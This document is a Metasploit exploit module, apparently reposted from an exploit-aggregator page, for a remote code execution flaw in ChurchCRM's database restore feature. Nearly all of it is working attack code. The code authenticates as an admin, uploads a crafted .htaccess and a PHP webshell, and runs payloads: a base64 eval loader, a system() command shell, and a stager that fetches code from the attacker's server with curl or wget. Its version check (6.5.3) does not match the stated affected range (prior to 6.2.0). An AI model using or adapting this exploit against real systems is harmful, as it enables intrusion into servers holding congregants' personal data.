Share
## https://sploitus.com/exploit?id=PACKETSTORM:219059
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = NormalRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      include Msf::Exploit::Remote::HttpServer
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'ChurchCRM Database Restore RCE 6.2.0',
            'Description' => %q{
              This module exploits a Remote Code Execution (RCE) vulnerability in ChurchCRM
              versions prior to 6.2.0. The vulnerability resides in the Database Restore
              functionality, which allows an authenticated user with administrative privileges
              to upload a malicious backup file. By bypassing upload restrictions via a
              crafted .htaccess file, the module enables PHP code execution in the target
              directory, ultimately providing the attacker with a Meterpreter shell.
            },
            'License' => MSF_LICENSE,
            'Author' => ['LucasCsmt'],
            'References' => [
              [ 'GHSA', 'pqm7-g8px-9r77'],
              [ 'CVE', '2025-68109']
            ],
            'Platform' => ['linux', 'php'],
            'Targets' => [
              [
                'Linux/unix Command (CmdStager)',
                {
                  'Arch' => [ ARCH_X86, ARCH_X64 ],
                  'Platform' => ['linux'],
                  'Type' => :nix_cmdstager,
                  'CmdStagerFlavor' => [
                    'printf', 'echo', 'bourne', 'fetch', 'curl', 'wget'
                  ]
                }
              ],
              [
                'PHP (In-Memory)',
                {
                  'Arch' => [ ARCH_PHP ],
                  'Platform' => ['php'],
                  'Type' => :php_memory
                }
              ],
              [
                'PHP (Fetch)',
                {
                  'Arch' => [ ARCH_PHP ],
                  'Platform' => ['php'],
                  'Type' => :php_fetch
                }
              ],
            ],
            'DisclosureDate' => '2025-12-17',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base path', '/']),
            OptString.new('USERNAME', [true, 'Username for the admin account', 'admin']),
            OptString.new('PASSWORD', [true, 'Password for the admin account', nil])
          ]
        )
      end
    
      # Check if the target is up by accessing the login page
      def check
        vprint_status('Checking if the target is reachable...')
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'session', 'begin')
        })
    
        unless [200, 301, 302].include?(res.code)
          return Exploit::CheckCode::Unknown("Unexpected HTTP response code: #{res.code}")
        end
    
        version = res.headers['CRM-VERSION']
        if version
          print_status("Found ChurchCRM version: #{version}")
          if Rex::Version.new(version) < Rex::Version.new('6.5.3')
            return Exploit::CheckCode::Appears("Vulnerable version #{version} detected via CRM-VERSION header.")
          else
            return Exploit::CheckCode::Safe("Version #{version} is not vulnerable.")
          end
        end
        if res.body.include?('ChurchCRM')
          return Exploit::CheckCode::Detected('ChurchCRM detected, but the version could not be determined.')
        end
    
        Exploit::CheckCode::Safe('The target does not appear to be ChurchCRM.')
      end
    
      # Build the payload that will be into the installation form
      #
      # @return : the payload
      def build_payload
        case target['Type']
        when :php_memory
          b64_payload = Rex::Text.encode_base64(payload.encoded)
          "<?php eval(base64_decode(\"#{b64_payload}\")); ?>"
        when :php_fetch
          payload_name = '/tmp/' + rand_text_alpha(5..10) + '.php'
          "<?php $f='#{payload_name}'; file_put_contents($f, file_get_contents('#{get_uri}')); register_shutdown_function('unlink', $f); include($f); ?>"
        else
          "<?php if(isset($_GET['cmd'])){system($_GET['cmd'].' 2>&1');} ?>"
        end
      end
    
      # Get the session cookie of the specified user
      #
      # @return : the session cookie
      def get_cookie
        print_status 'Getting the session cookie'
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'session', 'begin'),
          'vars_post' => {
            'User' => datastore['USERNAME'],
            'Password' => datastore['PASSWORD']
          }
        })
    
        fail_with(Failure::Unreachable, 'No answer from the server') unless res
        fail_with(Failure::NoAccess, 'Authentication error : Invalid login or password') if res.body.include?('Invalid login or password')
        fail_with(Failure::NoAccess, 'Authentication error : This account have been locked') if res.body.include?('Too many failed logins')
        fail_with(Failure::UnexpectedReply, "Invalid status code : #{res.code}") unless [200, 301, 302].include?(res.code)
    
        cookie = res.get_cookies
        fail_with(Failure::UnexpectedReply, 'No cookies found') if cookie.blank?
    
        print_good 'The session cookie has been received'
        cookie
      end
    
      # Handles the incoming HTTP request and serves the payload to the target.
      def on_request_uri(cli, _request)
        p = payload.encoded
        send_response(cli, p, {
          'Content-Type' => 'application/x-httpd-php',
          'Pragma' => 'no-cache'
        })
      end
    
      def execute_command(cmd, _opts = {})
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'tmp_attach', 'ChurchCRMBackups', @payload_name),
          'vars_get' => { 'cmd' => cmd }
        })
      end
    
      # Upload a file exploiting the database resotre functionality
      #
      # @param : file_name, the name of the file to upload
      # @param : content, the content of the file to upload
      def upload_file(file_name, content)
        print_status "Uploading the file : #{file_name}"
        data = Rex::MIME::Message.new
        data.add_part(
          content,
          'application/octet-stream',
          nil,
          "form-data; name=\"restoreFile\"; filename=\"#{file_name}\""
        )
        data.add_part('', nil, nil, 'form-data; name="restorePassword"')
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api', 'database', 'restore'),
          'ctype' => "multipart/form-data; boundary=#{data.bound}",
          'data' => data.to_s,
          'cookie' => @cookie
        })
        fail_with(Failure::Unreachable, 'No answer from the server') unless res
        # The server returns a 500 error because the uploaded file is not a valid backup file, but the file is still uploaded before the crash.
        fail_with(Failure::NotVulnerable, 'Invalid status code, the target may not be vulnerable') unless res.code == 500
        print_good 'The file have been uploaded successfully'
      end
    
      # Execute the payload
      def execute_payload
        print_status 'Trying to execute the payload'
        if target['Type'] == :nix_cmdstager
          execute_cmdstager(
            linemax: 500,
            nodelete: false,
            background: true,
            temp: '/tmp'
          )
        else
          send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'tmp_attach', 'ChurchCRMBackups', @payload_name)
          })
        end
        print_good 'Payload successfully executed'
      end
    
      def exploit
        if target['Type'] == :php_fetch
          print_status('Starting HTTP server to serve the payload...')
          start_service
        end
    
        @cookie = get_cookie
    
        upload_file '.htaccess', "Allow from all\n"
        register_file_for_cleanup('.htaccess')
    
        @payload_name = rand_text_alpha(5..10) + '.php'
        upload_file @payload_name, build_payload
        register_file_for_cleanup(@payload_name)
    
        execute_payload
      end
    end